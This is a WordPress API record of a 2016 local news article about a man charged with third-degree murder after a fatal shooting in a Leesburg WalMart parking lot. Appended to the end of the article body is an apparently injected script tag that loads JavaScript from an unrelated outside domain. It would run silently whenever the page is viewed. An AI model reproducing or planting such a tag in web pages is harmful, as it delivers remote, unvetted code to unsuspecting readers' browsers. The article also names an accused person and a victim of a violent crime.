{"id":209780,"date":"2016-09-23T08:05:49","date_gmt":"2016-09-23T12:05:49","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=209780"},"modified":"2017-11-04T15:11:53","modified_gmt":"2017-11-04T19:11:53","slug":"man-charged-shooting-walmart","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/man-charged-shooting-walmart\/","title":{"rendered":"Man Charged with Murder in Connection with WalMart Shooting"},"content":{"rendered":"<p><strong>LEESBURG &#8211;\u00a0<\/strong>A man who was apprehended by Lake County Deputies Thursday was arrested and charged in connection with the fatal shooting of <a href=\"https:\/\/wordpress-1.tempurl.host\/breaking-news-shooting-at-leesburg-walmart-1-dead\/\">Mark Allen Estes<\/a>.<\/p>\n<p>Estes was found with a gunshot wound in the WalMart parking lot in Leesburg on Monday night after police received numerous 911 calls.<\/p>\n<p>According to arrest reports, police found Estes&#8217;s cell phone in his vehicle containing text messages from a Sprint phone number agreeing to meet up with Thomas to make a &#8220;purchase&#8221;.<\/p>\n<p>The report also states that WalMart Video surveillance shows Estes enter WalMart to use the restroom then exit and wait in his 2011 Cadillac until a 2011 red Toyota pulled up next to Estes at 7:13 pm. The video then shows the Toyota pull out of the parking space at 7:14 pm and open fire on Estes leaving him lying on the ground. The suspects then fled the scene through the south exit of the WalMart parking lot.<\/p>\n<p>Detectives were able to trace the Sprint phone number back to 24-year-old Scott Bernard Thomas. On September 22, detectives responded to a location where one witness said they could find Thomas and gave numerous commands for Thomas to come out of the apartment. When Thomas refused, a K-9 was released to detain Thomas.<\/p>\n<p>Thomas was arrested and charged with resisting an officer without violence, violation of probation, and third-degree murder.<\/p>\n<p>He is being held at the Lake County Jail without bond until his arraignment on October 17th at 8:30 am.<\/p>\n<p>According to officials, more arrests may follow in connection to Estes&#8217;s death. Check back here for updates soon.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG &#8211;\u00a0A man who was apprehended by Lake County Deputies Thursday was arrested and charged in connection with the fatal shooting of Mark Allen Estes.&#8230;<\/p>\n","protected":false},"author":1,"featured_media":209781,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[1580,657,1586,1581,1120,79,80,690,82,1579,513,1397,111,1585,741],"class_list":["post-209780","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-allen","tag-arrested","tag-bernard","tag-estes","tag-fatal","tag-lake","tag-lake-county","tag-lakeco","tag-leesburg","tag-mark","tag-murder","tag-scott","tag-shooting","tag-thomas","tag-walmart","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/09\/Scott-Bernard-Thomas-2.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/209780","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=209780"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/209780\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/209781"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=209780"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=209780"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=209780"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}